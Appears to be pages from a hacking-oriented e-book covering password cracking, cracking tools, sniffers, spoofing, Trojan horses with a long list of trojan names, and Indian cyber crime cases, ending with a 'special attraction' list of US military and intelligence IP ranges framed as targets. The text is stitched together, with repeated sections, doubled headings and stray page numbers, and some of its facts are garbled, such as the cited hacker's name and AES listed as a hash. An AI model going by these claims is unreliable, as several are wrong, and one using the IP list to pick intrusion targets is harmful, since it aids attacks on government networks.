Guessing, combined with dictionary attacks, have been repeatedly and consistently
demonstrated for several decades to be sufficient to crack perhaps as many as 50% of all
account passwords on production systems.
37
Brute force attack
A last resort is to try every possible password, known as a brute force attack. In
theory, a brute force attack will always be successful since the rules for acceptable passwords
must be publicly known, but as the length of the password increases, so does the number of
possible passwords. This method is unlikely to be practical unless the password is relatively
small. But, how small is too small? A common current length recommendation is 8 or more
randomly chosen characters combining letters, numbers, and special (punctuation, etc)
characters. Systems which limit passwords to numeric characters only, or upper case only, or,
generally, which exclude possible password character choices make such attacks easier. Using
longer passwords in such cases (if possible on a particular system) can compensate for a
limited allowable character set. And, of course, even with an adequate range of character
choice, users who ignore that range (using only upper case alphabetic characters, or digits
alone, for instance) make brute force attacks much easier against those password choices.
Generic brute-force search techniques can be used to speed up the computation. But the real
threat may be likely to be from smart brute-force techniques that exploit knowledge about
how people tend to choose passwords. NIST SP 800-63 (2) provides further discussion of
password quality, and suggests, for example, that an 8 character user-chosen password may
provide somewhere between 18 and 30 bits of entropy, depending on how it is chosen. Note:
This number is very far less than what is generally considered to be safe for an encryption
key.
How small is too small thus depends partly on an attacker's ingenuity and resources
(e.g., available time, computing power, etc.), the latter of which will increase as computers
get faster. Most commonly used hashes can be implemented using specialized hardware,
allowing faster attacks. Large numbers of computers can be harnessed in parallel, each trying
a separate portion of the search space. Unused overnight and weekend time on office
computers can also be used for this purpose.
The distinction between guessing, dictionary and brute force attacks is not strict. They are
similar in that an attacker goes through a list of candidate passwords one by one; the list may
be explicitly enumerated or implicitly defined, may or may not incorporate knowledge about
the victim, and may or may not be linguistically derived. Each of the three approaches,
particularly 'dictionary attack', is frequently used as an umbrella term to denote all the three
attacks and the spectrum of attacks encompassed by them.
38
Precomputation
In its most basic form, precomputation involves hashing each word in the dictionary
(or any search space of candidate passwords) and storing the <plaintext, ciphertext> pairs in a
way that enables lookup on the ciphertext field. This way, when a new encrypted password is
obtained, password recovery is instantaneous. Precomputation can be very useful for a
dictionary attack if salt is not used properly (see below), and the dramatic decrease in the cost
of mass storage has made it practical for fairly large dictionaries.
Advanced precomputation methods exist that are even more effective. By applying a time-
memory tradeoff, a middle ground can be reached - a search space of size N can be turned
into an encrypted database of size O(N2/3) in which searching for an encrypted password
takes time O(N2/3). The theory has recently been refined into a practical technique, and the
online implementation at http://passcracking.com/ achieves impressive results on 8 character
alphanumeric MD5 hashes. Another example [1] cracks alphanumeric Windows LAN
Manager passwords in a few seconds. This is much faster than brute force attacks on the
obsolete LAN Manager, which uses a particularly weak method of hashing the password.
Current Windows systems still compute and store a LAN Manager hash by default for
backwards compatibility. [2])
A technique similar to precomputation, known generically as memoization, can be
used to crack multiple passwords at the cost of cracking just one. Since encrypting a word
takes much longer than comparing it with a stored word, a lot of effort is saved by encrypting
each word only once and comparing it with each of the encrypted passwords using an
efficient list search algorithm. The two approaches may of course be combined: the time-
space tradeoff attack can be modified to crack multiple passwords simultaneously in a shorter
time than cracking them one after the other.
Salting
The benefits of precomputation and memoization can be nullified by randomizing the
hashing process. This is known as salting. When the user sets a password, a short, random
string called the salt is suffixed to the password before encrypting it; the salt is stored along
with the encrypted password so that it can be used during verification. Since the salt is usually
different for each user, the attacker can no longer construct tables with a single encrypted
version of each candidate password. Early Unix systems used a 12-bit salt. Attackers could
still build tables with common passwords encrypted with all 4096 possible 12-bit salts.
39
However, if the salt is long enough (e.g. 32 bits), there are too many possibilities and the
attacker must repeat the encryption of every guess for each user.
Early Unix password vulnerability
Early Unix implementations used a 12-bit salt, which allowed for 4096 possibilities,
and limited passwords to 8 characters. While 12 bits was good enough for most purposes in
the 1970s (although some expressed doubts even then), by 2005 disk storage has become
cheap enough that an attacker can precompute encryptions of millions of common passwords,
including all 4096 possible salt variations for each password, and store the precomputed
values on a single portable hard drive. An attacker with a larger budget can build a disk farm
with all 6 character passwords and the most common 7 and 8 character passwords stored in
encrypted form, for all 4096 possible salts. And when several thousand passwords are being
cracked at once, memoization still offers some benefit. Since there is little downside to using
a longer (say 32-, 64- or 128-bit) salt, and they render any precomputation or memoization
hopeless, modern implementations choose to do so.
Prevention
The best method of preventing password cracking is to ensure that attackers cannot
get access even to the encrypted password. For example, on the Unix operating system,
encrypted passwords were originally stored in a publicly accessible file "/etc/passwd". On
modern Unix (and similar) systems, on the other hand, they are stored in the file
"/etc/shadow", which is accessible only to programs running with enhanced privileges (ie,
'system' privileges). This makes it harder for a malicious user to obtain the encrypted
passwords in the first instance. Unfortunately, many common network protocols transmit the
hashed passwords to allow remote authentication.
Even if the attacker has no access to the password database itself, every attacker
should also be prevented from being able to use the system itself to check a large number of
passwords in a relatively small amount of time. For this reason, many systems include a
significant forced delay (a few seconds is generally sufficient) between the entry of the
password and returning a result. Also, it is a good policy to (temporarily) lock out an account
that has been subjected to 'too many' incorrect password guesses, although this could be
exploited to launch a denial of service attack. Too many in this context is frequently taken to
be something like more than 3 failed attempts in 90 seconds, or more than a dozen failed
attempts in an hour.
40
It is also imperative to choose good passwords (see password for more information)
and a good encryption or hash algorithm that has stood the test of time. AES, SHA-1, and
MD5 are common choices. Good implementations, including adequate salt, are also required.
Key derivation functions, such as PBKDF2, are hashes that consume relatively large amounts
of computer time so as to slow down the rate at which an attacker can test guesses, even if the
hashed password is available. This process is known as key strengthening.
However, no amount of effort put into preventing password cracking can be sufficient
without a well-designed and well-implemented security policy. The canonical and all too
common example of this is the user who leaves their password on a Post-It note stuck to their
monitor or under their keyboard. Even sophisticated users who have been warned repeatedly
are known to have such lapses.
Password cracking programs
• Ophcrack - Open source
Ophcrack is an Open Source (GPL License) program that cracks Windows LM hashes using
rainbow tables. It can crack 99.9% of alphanumeric passwords of up to 14 characters in
usually a few seconds, and at most a few minutes. There is also a LiveCD version which
automates the retrieval, decryption, and cracking of passwords from a Windows
system.Starting with version 2.3, Ophcrack also cracks NT hashes.
• Crack
Crack is a Unix password cracking program designed to allow system administrators to locate
users who may have weak passwords vulnerable to a dictionary attack.
Crack began in 1990 when Alec Muffett, a Unix system administrator at the University of
Wales Aberystwyth was trying to improve Dan Farmer's 'pwc' cracker in COPS and found
that by re-engineering its memory management he got a noticeable performance increase.
This led to a total rewrite which became "Crack v2.0" and further development to improve
usability.
• Cain
Cain and Abel is a Windows password recovery tool. It can recover many kinds of passwords
using methods such as network packet sniffing, cracking various password hashes by using
methods such as dictionary attacks, brute force and cryptanalysis attacks. Cryptanalysis
attacks are done via rainbow tables which can be generated with the winrtgen.exe program
provided with Cain. Cain and Abel is maintained by Massimiliano Montoro.
• John the Ripper
41
John the Ripper is a free password cracking software tool. Initially developed for the UNIX
operating system, it currently runs on fifteen different platforms (11 flavors of Unix -
counting each flavor only once for all the architectures it supports -, DOS, Win32, BeOS, and
OpenVMS). It is one of the most popular password testing/breaking programs as it combines
a number of password crackers into one package, autodetects, and includes a customisable
cracker. It can be run against various encrypted password formats including several crypt
password hash types most commonly found on various Unix flavors (based on DES, MD5, or
Blowfish), Kerberos AFS, and Windows NT/2000/XP/2003 LM hash. Additional modules
have extended its ability to include MD4-based password hashes and passwords stored in
LDAP, MySQL and others.
John the Ripper is a perfectly safe program to install and run on your computer. If you are
running a multi-user system, you should make sure you are shadowing your password file
such that the hashes are not visible; however even if you are not, not installing John will not
prevent a malicious user from running John on their own computer with your hashes[citation
needed].
• LC5 (formerly L0phtCrack)
L0phtCrack is a password auditing and recovery application (now called LC5), originally
produced by Mudge from L0pht Heavy Industries. It is used to test password strength and
sometimes to recover lost Microsoft Windows passwords, by using dictionary, brute-force,
and hybrid attacks. It was one of the crackers' tools of choice, although most use old versions
because of its price and low availability.
The application was produced by @stake after the L0pht merged with @stake in 2000.
@stake was acquired by Symantec in 2004. Symantec has since stopped selling this tool to
new customers citing US Government export regulations, and has announced that they will
discontinue support by the end of 2006. LC5 can still be found at SecTools.Org and other
unofficial mirrors.
• RainbowCrack
RainbowCrack is the name of a computer program which performs password cracking.
RainbowCrack differs from "conventional" brute force crackers in that it uses large pre-
computed files called rainbow tables to reduce the length of time needed to crack a password
drastically.
RainbowCrack was developed by Zhu Shuanglei, and implements an improved time-memory
trade-off cryptanalysis attack which originated in Philippe Oechslin's Ophcrack.
Back42
43
44
Sniffers: Basics and Detection
“If you know the enemy and know yourself, you need not fear the result of a hundred
battles. If you know yourself but not the enemy, for every victory gained you will also
suffer a defeat. If you know neither the enemy nor yourself, you will succumb in
every battle.”
Introduction
A sniffer is a program or a device that eavesdrops on the network traffic by grabbing
information traveling over a network. Sniffers basically are "Data Interception" technology.
They work because the Ethernet was built around a principle of sharing. Most networks use
broadcast technology wherein messages for one computer can be read by another computer
on that network. In practice, all the other computers except the one for which the message is
meant, will ignore that message. However, computers can be made to accept messages even if
they are not meant for them. This is done by means of a Sniffer! Many people assume
computers connected to a switch are safe from sniffing. Nothing could be further from the
truth. Computers connected to switches are just as vulnerable to sniffing as those connected to
a hub. This article seeks to explore the topic of sniffers, how they work, detecting and
protecting your assets against the malicious use of these programs. Finally, towards the end
we will talk about some commonly available sniffers.
How A Sniffer Works
A computer connected to the LAN has two addresses. One is the MAC (Media Access
Control) address that uniquely identifies each node in a network and is stored on the network
card itself. It is the MAC address that gets used by the Ethernet protocol while building
“frames” to transfer data to and from a machine. The other is the IP address, which is used by
applications. The Data Link Layer uses an Ethernet header with the MAC address of the
destination machine rather than the IP Address. The Network Layer is responsible for
mapping IP network addresses to the MAC address as required by the Data Link Protocol. It
initially looks up the MAC address of the destination machine in a table, usually called the
ARP (Address Resolution Protocol) cache. If no entry is found for the IP address, the Address
Resolution Protocol broadcasts a request packet (ARP request) to all machines on the
network. The machine with that address responds to the source machine with its MAC
45
address. This MAC address then gets added to the source machine’s ARP Cache. The source
machine in all its communications with the destination machine then uses this MAC address.
There are two basic types of Ethernet environments and how sniffers work in both these cases
is slightly different.Shared Ethernet: In a shared Ethernet environment, all hosts are connected
to the same bus and compete with one another for bandwidth. In such an environment packets
meant for one machine are received by all the other machines. Thus when a machine Venus
46
Well-known packet sniffers
• AiroPeek
• dSniff
• Ethereal
• EtherPeek
• Ettercap
• Kismet
• Javvin Packet Aalyzer
• NetStumbler
• Network General Sniffer
• Network Instruments Observer
• OmniPeek
• PRTG
• snoop (Solaris)
• tcpdump
• Wireshark (formerly known as Ethereal[1])
• WPE (Winsock packet editor)
Spoofing attackSpoofing attack
In the context of network security, a spoofing attack is a situation in which one person
or program successfully masquerades as another by falsifying data and thereby gains an
illegitimate advantage.
Man-in-the-middle attack and internet protocol spoofingMan-in-the-middle attack and internet protocol spoofing
An example from cryptography is the man-in-the-middle attack, in which an attacker
spoofs Alice into believing he's Bob, and spoofs Bob into believing he's Alice, thus gaining
access to all messages in both directions without the trouble of any cryptanalytic effort.
47
The attacker must monitor the packets sent from Alice to Bob and then guess the sequence
number of the packets. Then the attacker knocks out Alice with a SYN attack and injects his
own packets, claiming to have the address of Alice. Alice's firewall can defend against some
spoof attacks when it has been configured with knowledge of all the IP addresses connected
to each of its interfaces. It can then detect a spoofed packet if it arrives at an interface that is
not known to be connected to the IP address.
Many carelessly designed protocols are subject to spoof attacks, including many of those used
on the Internet. See Internet protocol spoofing.
URL spoofing and phishing URL spoofing and phishing
Another kind of spoofing is "webpage spoofing," also known as phishing. In this
attack, a legitimate web page such as a bank's site is reproduced in "look and feel" on another
server under control of the attacker. The intent is to fool the users into thinking that they are
connected to a trusted site, for instance to harvest user names and passwords.This attack is
often performed with the aid of URL spoofing, which exploits web browser bugs in order to
display incorrect URLs in the browsers location bar; or with DNS cache poisoning in order to
direct the user away from the legitimate site and to the fake one. Once the user puts in their
password, the attack-code reports a password error, then redirects the user back to the
legitimate site.
Referer spoofingReferer spoofing
Some websites, especially pornographic paysites, allow access to their materials only
from certain approved (login-) pages. This is enforced by checking the Referer header of the
HTTP request. This referer header however can be changed (known as "Referer spoofing" or
"Ref-tar spoofing"), allowing users to gain unauthorized access to the materials.
Poisoning of file-sharing networks
"Spoofing" can also refer to copyright holders placing distorted or unlistenable versions of
works on file-sharing networks, to discourage downloading from these sources.
Caller ID spoofing Caller ID spoofing
In public telephone networks, it has for a long while been possible to find out who is
calling you by looking at the Caller ID information that is transmitted with the call. There are
technologies that transmit this information on landlines, on cellphones and also with VoIP.
48
Unfortunately, there are now technologies (especially associated with VoIP) that allow callers
to lie about their identity, and present false names and numbers, which could of course be
used as a tool to defraud or harass. Because there are services and gateways that interconnect
VoIP with other public phone networks, these false Caller IDs can be transmitted to any phone
on the planet, which makes the whole Caller ID information now next to useless. Due to the
distributed geographic nature of the Internet, VoIP calls can be generated in a different
country to the receiver, which means that it is very difficult to have a legal framework to
control those who would use fake Caller IDs as part of a scam.
Man-in-the-middle attack and internet protocol spoofingMan-in-the-middle attack and internet protocol spoofing
An example from cryptography is the man-in-the-middle attack, in which an attacker
spoofs Alice into believing he's Bob, and spoofs Bob into believing he's Alice, thus gaining
access to all messages in both directions without the trouble of any cryptanalytic effort.
The attacker must monitor the packets sent from Alice to Bob and then guess the sequence
number of the packets. Then the attacker knocks out Alice with a SYN attack and injects his
own packets, claiming to have the address of Alice. Alice's firewall can defend against some
spoof attacks when it has been configured with knowledge of all the IP addresses connected
to each of its interfaces. It can then detect a spoofed packet if it arrives at an interface that is
not known to be connected to the IP address.
Many carelessly designed protocols are subject to spoof attacks, including many of those used
on the Internet. See Internet protocol spoofing.
URL spoofing and phishing URL spoofing and phishing
Another kind of spoofing is "webpage spoofing," also known as phishing. In this
attack, a legitimate web page such as a bank's site is reproduced in "look and feel" on another
server under control of the attacker. The intent is to fool the users into thinking that they are
connected to a trusted site, for instance to harvest user names and passwords.
This attack is often performed with the aid of URL spoofing, which exploits web browser
bugs in order to display incorrect URLs in the browsers location bar; or with DNS cache
poisoning in order to direct the user away from the legitimate site and to the fake one. Once
the user puts in their password, the attack-code reports a password error, then redirects the
user back to the legitimate site.
49
Referer spoofing Referer spoofing
Some websites, especially pornographic paysites, allow access to their materials only
from certain approved (login-) pages. This is enforced by checking the Referer header of the
HTTP request. This referer header however can be changed (known as "Referer spoofing" or
"Ref-tar spoofing"), allowing users to gain unauthorized access to the materials.
Poisoning of file-sharing networksPoisoning of file-sharing networks
"Spoofing" can also refer to copyright holders placing distorted or unlistenable
versions of works on file-sharing networks, to discourage downloading from these sources.
Caller ID spoofing Caller ID spoofing
In public telephone networks, it has for a long while been possible to find out who is
calling you by looking at the Caller ID information that is transmitted with the call. There are
technologies that transmit this information on landlines, on cellphones and also with VoIP.
Unfortunately, there are now technologies (especially associated with VoIP) that allow callers
to lie about their identity, and present false names and numbers, which could of course be
used as a tool to defraud or harass. Because there are services and gateways that interconnect
VoIP with other public phone networks, these false Caller IDs can be transmitted to any phone
on the planet, which makes the whole Caller ID information now next to useless. Due to the
distributed geographic nature of the Internet, VoIP calls can be generated in a different
country to the receiver, which means that it is very difficult to have a legal framework to
control those who would use fake Caller IDs as part of a scam.
Trojan horse
Example of a simple Trojan horse
A simple example of a trojan horse would be a program named "waterfalls.scr" claiming to be
a free waterfall screensaver which, when run, instead begins erasing all the files on the
victim’s computer.
Types of Trojan horses
Trojan horses are almost always designed to do various harmful things, but could be
harmless. They are broken down in classification based on how they breach systems and the
damage they cause. The seven main types of Trojan horses are:
• Remote Access Trojans
• Data Sending Trojans
50
• Destructive Trojans
• Proxy Trojans
• FTP Trojans
• security software disabler Trojans
• denial-of-service attack (DoS) Trojans
• URL Trojans
Some examples are:
• erasing or overwriting data on a computer.
• encrypting files in a cryptoviral extortion attack.
• corrupting files in a subtle way.
• upload and download files.
• allowing remote access to the victim's computer. This is called a RAT. (remote
administration tool)
• spreading other malware, such as viruses. In this case the Trojan horse is called
a 'dropper' or 'vector'.
• setting up networks of zombie computers in order to launch DDoS attacks or
send spam.
• spying on the user of a computer and covertly reporting data like browsing
habits to other people (see the article on spyware).
• make screenshots.
• logging keystrokes to steal information such as passwords and credit card
numbers (also known as a keylogger).
• phish for bank or other account details, which can be used for criminal
activities.
• installing a backdoor on a computer system.
• opening and closing CD-ROM tray.
• harvest e-mail addresses and use them for spam.
• Restarts the computer whenever the infected program is started.
Time bombs and logic bombs
"Time bombs" and "logic bombs" are types of trojan horses.
"Time bombs" activate on particular dates and/or times. "Logic bombs" activate on certain
conditions met by the computer.
51
Droppers
Droppers perform two tasks at once. A dropper performs a legitimate task but also
installs a computer virus or a computer worm on a system or disk at the same time.
Precautions against Trojan horses
Trojan horses can be protected against through end-user awareness. Trojan Horse
viruses can cause a great deal of damage to a personal computer but even more damage to a
business, particularly a small business that usually does not have the same virus protection
capabilities as a large business. Since a Trojan Horse virus is hidden, it is harder to protect
yourself or your company from it, but there are things that you can do.
Trojan Horses are most commonly spread through an e-mail, much like other types of
common viruses. The only difference being of course is that a Trojan Horse is hidden. The
best ways to protect yourself and your company from Trojan Horses are as follows:
1. If you receive e-mail from someone that you do not know or you receive an unknown
attachment, never open it right away. As an e-mail user you should confirm the source. Some
hackers have the ability to steal address books, so if you see e-mail from someone you know,
it is not necessarily safe.
2. When setting up your e-mail client, make sure that you have the settings so that
attachments do not open automatically. Some e-mail clients come ready with an anti-virus
program that scans any attachments before they are opened. If your client does not come with
this, it would be best to purchase one or download one for free.
3. Make sure your computer has an anti-virus program on it and update it regularly. If you
have an auto-update option included in your anti-virus program you should turn it on; that
way if you forget to update your software you can still be protected from threats
4. Operating systems offer patches to protect their users from certain threats and viruses,
including Trojan Horses. Software developers like Microsoft offer patches that in a sense
"close the hole" that the Trojan horse or other virus would use to get through to your system.
If you keep your system updated with these patches, your computer is kept much safer.
5. Avoid using peer-to-peer or P2P sharing networks like Kazaa, Limewire, Ares, or Gnutella
because they are generally unprotected from viruses and Trojan Horse viruses spread through
them especially easily. Some of these programs do offer some virus protection, but this is
52
often not strong enough. If you insist on using P2P, it would be safe to not download files that
claim to be "rare" songs, books, movies, pictures, etc.
Besides these sensible precautions, one can also install anti-trojan software, some of
which is offered free.
Methods of Infection
The majority of trojan horse infections occur because the user was tricked into
running an infected program. This is why it is advised to not open unexpected attachments on
emails -- the program is often a cute animation or a sexy picture, but behind the scenes it
infects the computer with a trojan or worm. The infected program doesn't have to arrive via
email, though; it can be sent to you in an Instant Message, downloaded from a Web site or by
FTP, or even delivered on a CD or floppy disk. (Physical delivery is uncommon, but if you
were the specific target of an attack, it would be a fairly reliable way to infect your computer.)
Furthermore, an infected program could come from someone who sits down at your computer
and loads it manually.
Websites: You can be infected by visiting a rogue website.
Email: If you use Microsoft Outlook, you're vulnerable to many of the same problems that
Internet Explorer has, even if you don't use IE directly.
Open ports: Computers running their own servers (HTTP, FTP, or SMTP, for
example), allowing Windows file sharing, or running programs that provide filesharing
capabilities such as Instant Messengers (AOL's AIM, MSN Messenger, etc.) may have
vulnerabilities similar to those described above. These programs and services may open a
network port giving attackers a means for interacting with these programs from anywhere on
the Internet. Vulnerabilities allowing unauthorized remote entry are regularly found in such
programs, so they should be avoided or properly secured.
A firewall may be used to limit access to open ports. Firewalls are widely used in
practice, and they help to mitigate the problem of remote trojan insertion via open ports, but
they are not a totally impenetrable solution, either.
Some of the modern trojans that come through the messengers,they come in as a very
important looking message, but contain trojans, the exe files are same or look same as that of
windows system proccesses like 'Svchost.exe', some of the look alike trojans are:
• Svchost32.exe
• Svhost.exe
• back.exe
53
Well-known trojan horses
• Back Orifice
• Back Orifice 2000
• NetBus
• SubSeven
• Downloader-EV
• Pest Trap
• AIDS
• Back Orifice
• Back Orifice 2000
• Beast Trojan
• Bifrose ksv
• Insurrection
• NetBus Carl-Fredrik Neikter
• Optix Pro
• Posion Ivy
• ProRat
• Sub7
• EGABTR
• RemoteHAK
• A-311 Death
• A4zeta
• Abacab
• Acessor
• AcidBattery
• Acid Drop
• AcidHead
• Acid Kor
• Acidsena
• AcidShivers
• Acid Trojan Horse
• AckCmd
• Acojonaor
54
• Acropolis
• Admin.Troj.Kikzyurarse
• Advertiser Bot
• AeonwindDoll
• Afcore
• A-FTP
• AF
• Agent 40421
• AH
• Aibolit
• AIMaster
• AIM Filter
• AimFrame
• aim P
• Aim Password Stealer
• AIM Pws
• AimRat
• AIM Robber
• AIM Spy
• AIMVision
• AIR
• AirBot
• Akosch
• Aladino
• Al-Bareki
• Alcatraz
• Alerter
• AlexMessoMalex
• Alicia
• Alien Hacker
• Alien Spy
• Almaster
• Almetyevsk
• Almq
55
• Alex
• Alofin
• Alop
• Alph
• AlphaDog
• Alvgus
• Amanda
• Amiboide Uploader
• Ambush
• AmigaAnywhere
• Amitis
• Amoeba
• AMRC
• AMS
• Anal FTP
• Anal Ra
• AnarchoIntruder
• Andromeda
• A New Trojan
• Angelfire
• AngelShell
• Annoy Toys
• Anthena
• Anti Danger
• Anti-Denial
• AntiMks
• AntiPC
• AntiLamer Backdoor
• Anti MSN
• Antylamus
• AolAdmin
• Apdoor
• Aphex's FTP
• Aphex's Remote Packet Sniffer
56
• Aphex tunneld 2.0
• AppServ
• APRE
• Aqua
• Arcanum
• Area Control
• Ares Invader
• Armageddon
• arplhmd
• Arranca
• Arsd
• Artic
• Arturik
• AsbMay
• A.S.H.
• Ashley
• Ass4ss1n
• Assasin
• Asylum
• Admin.Troj.Kikzyurarse
• Atentator
• A-Trojan
• Attack FTP
• Atwinda
• AudioDoor
• Autocrat
• AutoPWN
• Autograph
• AutoSpY
• Avanzado
• Avone
• Ayan Bilisim
• Azrael
• BD Blade runner 0.80a
57
• Crazy Daisy
• Connect4 Rituall33
• Donald Dick
• Flatley Trojan
• Theef
• Twelve Tricks
Back
58
59
Introduction to Cyber CrimeIntroduction to Cyber Crime
The first recorded cyber crime took place in the year
1820! That is not surprising considering the fact that the
abacus, which is thought to be the earliest form of a computer,
has been around since 3500 B.C. in India, Japan and China.
The era of modern computers, however, began with the
analytical engine of Charles Babbage.
In 1820, Joseph-Marie Jacquard, a textile manufacturer
in France, produced the loom. This device allowed the
repetition of a series of steps in the weaving of special fabrics.
This resulted in a fear amongst Jacquard's employees that their traditional employment and
livelihood were being threatened. They committed acts of sabotage to discourage Jacquard
from further use of the new technology. This is the first recorded cyber crime!
Today computers have come a long way, with neural networks and nano-computing
promising to turn every atom in a glass of water into a computer capable of performing a
Billion operations per second.
Cyber crime is an evil having its origin in the growing dependence on computers in
modern life. In a day and age when everything from microwave ovens and refrigerators to
nuclear power plants is being run on computers, cyber crime has assumed rather sinister
implications. Major cyber crimes in the recent past include the Citibank rip off. US $ 10
million were fraudulently transferred out of the bank and into a bank account in Switzerland.
A Russian hacker group led by Vladimir Kevin, a renowned hacker, perpetrated the attack.
The group compromised the bank's security systems. Vladimir was allegedly using his office
computer at AO Saturn, a computer firm in St. Petersburg, Russia, to break into Citibank
computers. He was finally arrested on Heathrow airport on his way to Switzerland
60
Defining Cyber CrimeDefining Cyber Crime
At the onset, let us satisfactorily define "cyber crime" and differentiate it from
"conventional Crime". 166 Computer crime can involve criminal activities that are traditional
in nature, such as theft, fraud, forgery, defamation and mischief, all of which are subject to the
Indian Penal Code. The abuse of computers has also given birth to a gamut of new age crimes
that are addressed by the Information Technology Act, 2000. Defining cyber crimes, as "acts
that are punishable by the Information Technology Act" would be unsuitable as the Indian
Penal Code also covers many cyber crimes, such as email spoofing and cyber defamation,
sending threatening emails etc. A simple yet sturdy definition of cyber crime would be
"unlawful acts wherein the computer is either a tool or a target or both". Let us examine the
acts wherein the computer is a tool for an unlawful act. This kind of activity usually involves
a modification of a conventional crime by using computers. Some examples are:
Financial crimesFinancial crimes
This would include cheating, credit card frauds, money laundering etc. To cite a recent
case, a website offered to sell Alphonso mangoes at a throwaway price. Distrusting such a
transaction, very few people responded to or supplied the website with their credit card
numbers. These people were actually sent the Alphonso mangoes. The word about this
website now spread like wildfire. Thousands of people from all over the country responded
and ordered mangoes by providing their credit card numbers. The owners of what was later
proven to be a bogus website then fled taking the numerous credit card numbers and
proceeded to spend huge amounts of money much to the chagrin of the card owners.
Cyber pornographyCyber pornography
61
This would include pornographic websites; pornographic magazines produced using
computers (to publish and print the material) and the Internet (to download and transmit
pornographic pictures, photos, writings etc). Recent Indian incidents revolving around cyber
pornography include the Air Force Balbharati School case. A student of the Air Force
Balbharati School, Delhi, was teased by all his classmates for having a pockmarked face.
Tired of the cruel jokes, he decided to get back at his tormentors. He scanned photographs of
his classmates and teachers, morphed them with nude photographs and put them up on a
website that he uploaded on to a free web hosting service. It was only after the father of one
of the class girls featured on the website objected and lodged a complaint with the police that
any action was taken.
In another incident, in Mumbai a Swiss couple would gather slum children and then would
force them to appear for obscene photographs. They would then upload these photographs to
websites specially designed for paedophiles. The Mumbai police arrested the couple for
pornography.
Sale of illegal articlesSale of illegal articles
This would include sale of narcotics, weapons and wildlife etc., by posting
information on websites, auction websites, and bulletin boards or 167 simply by using
email communication. E.g. many of the auction sites even in India are believed to be
selling cocaine in the name of 'honey'.
Online gamblingOnline gambling
There are millions of websites; all hosted on servers
abroad, that offer online gambling. In fact, it is believed that
many of these websites are actually fronts for money laundering.
62
63
Intellectual Property crimesIntellectual Property crimes
These include software piracy, copyright infringement, trademarks violations, theft of
computer source code etc.
Email spoofingEmail spoofing
A spoofed email is one that appears to originate from one source but actually has been
sent from another source. E.g. Pooja has an e-mail address pooja@asianlaws.org. Her enemy,
Sameer spoofs her e-mail and sends obscene messages to all her acquaintances. Since the e-
mails appear to have originated from Pooja, her friends could take offence and relationships
could be spoiled for life. Email spoofing can also cause monetary damage. In an American
case, a teenager made millions of dollars by spreading false information about certain
companies whose shares he had short sold. This misinformation was spread by sending
spoofed emails, purportedly from news agencies like Reuters, to share brokers and investors
who were informed that the companies were doing very badly. Even after the truth came out
the values of the shares did not go back to the earlier levels and thousands of investors lost a
lot of money.
ForgeryForgery
Counterfeit currency notes, postage and revenue stamps, mark sheets etc can be forged
using sophisticated computers, printers and scanners. Outside many colleges across India, one
finds touts soliciting the sale of fake mark sheets or even certificates. These are made using
computers, and high quality scanners and printers. In fact, this has becoming a booming
business involving thousands of Rupees being given to student gangs in exchange for these
bogus but authentic looking certificates.
Cyber Defamation Cyber Defamation
64
This occurs when defamation takes place with the help of computers and / or the
Internet. E.g. someone publishes defamatory matter about someone on a website or sends e-
mails containing defamatory information to all of that person's friends.
In a recent occurrence, Surekha (names of people have been changed), a young girl was about
to be married to Suraj. She was really pleased because despite it being an arranged marriage,
she had liked the boy. He had seemed to be open-minded and pleasant. Then, one day when
she met Suraj, he looked worried and even a little upset. He was not really interested in
talking to her. When asked he told her that, members of his family had been receiving e-mails
that contained malicious things about Surekha's character. Some of them spoke of affairs,
which she had had in the past. He told her 168 that, his parents were justifiably very upset and
were also considering breaking off the engagement. Fortunately, Suraj was able to prevail
upon his parents and the other elders of his house to approach the police instead of blindly
believing what was contained in the mails.During investigation, it was revealed that the
person sending those e-mails was none other than Surekha's stepfather. He had sent these e-
mails so as to break up the marriage. The girl's marriage would have caused him to lose
control of her property of which he was the guardian till she got married. Another famous
case of cyber defamation occurred in America. All friends and relatives of a lady were beset
with obscene e-mail messages appearing to originate from her account. These mails were
giving the lady in question a bad name among her friends. The lady was an activist against
pornography. In reality, a group of people displeased with her views and angry with her for
opposing them had decided to get back at her by using such underhanded methods. In
addition to sending spoofed obscene e-mails they also put up websites about her, that
basically maligned her character and sent e-mails to her family and friends containing matter
defaming her.
Cyber stalkingCyber stalking
The Oxford dictionary defines stalking as "pursuing stealthily". Cyber stalking
nvolves following a person's movements across the Internet by posting messages (sometimes
threatening) on the bulletin boards frequented by the victim, entering the chat-rooms
frequented by the victim, constantly bombarding the victim with emails etc.
65
Back
66
67
Index
• IP Address
• Default Router Password
• Net BIOS
• Mobile Hacking
Back
68
Special attraction
Government, military and intelligence IP range.
RANGE 6
6.* - Army Information Systems Center
RANGE 7
7.*.*.* Defense Information Systems Agency, VA
RANGE 11
11.*.*.* DoD Intel Information Systems, Defense Intelligence Agency, Washington DC
RANGE 21
21. - US Defense Information Systems Agency
RANGE 22
22.* - Defense Information Systems Agency
RANGE 24
24.198.*.*
RANGE 25
25.*.*.* Royal Signals and Radar Establishment, UK
RANGE 26
26.* - Defense Information Systems Agency
RANGE 29
29.* - Defense Information Systems Agency
RANGE 30
30.* - Defense Information Systems Agency
69
RANGE 49
49.* - Joint Tactical Command
RANGE 50
50.* - Joint Tactical Command
RANGE 55
55.* - Army National Guard Bureau
RANGE 128
128.51.0.0 Department of Defense
128.56.0.0 U.S. Naval Academy
128.60.0.0 Naval Research Laboratory
128.63.0.0 Army Ballistics Research Laboratory
128.80.0.0 Army Communications Electronics Command
128.98.0.0 - 128.98.255.255 Defence Evaluation and Research Agency
128.102.0.0 NASA Ames Research Center
128.149.0.0 NASA Headquarters
128.154.0.0 NASA Wallops Flight Facility
128.155.0.0 NASA Langley Research Center
128.156.0.0 NASA Lewis Network Control Center
128.157.0.0 NASA Johnson Space Center
128.158.0.0 NASA Ames Research Center
128.159.0.0 NASA Ames Research Center
128.160.0.0 Naval Research Laboratory
128.161.0.0 NASA Ames Research Center
128.183.0.0 NASA Goddard Space Flight Center
128.190.0.0 Army Belvoir Reasearch and Development Center
128.202.0.0 50th Space Wing
128.216.0.0 MacDill Air Force Base
128.236.0.0 U.S. Air Force Academy
RANGE 129
129.23.0.0 Strategic Defense Initiative Organization 70
129.29.0.0 United States Military Academy
129.50.0.0 NASA Marshall Space Flight Center
129.51.0.0 Patrick Air Force Base
129.52.0.0 Wright-Patterson Air Force Base
129.165.0.0 NASA Goddard Space Flight Center
129.166.0.0 NASA - John F. Kennedy Space Center
129.167.0.0 NASA Marshall Space Flight Center
129.168.0.0 NASA Lewis Research Center
129.190.0.0 Naval Underwater Systems Center
129.198.0.0 Air Force Flight Test Center
129.209.0.0 Army Ballistics Research Laboratory
129.229.0.0 U.S. Army Corps of Engineers
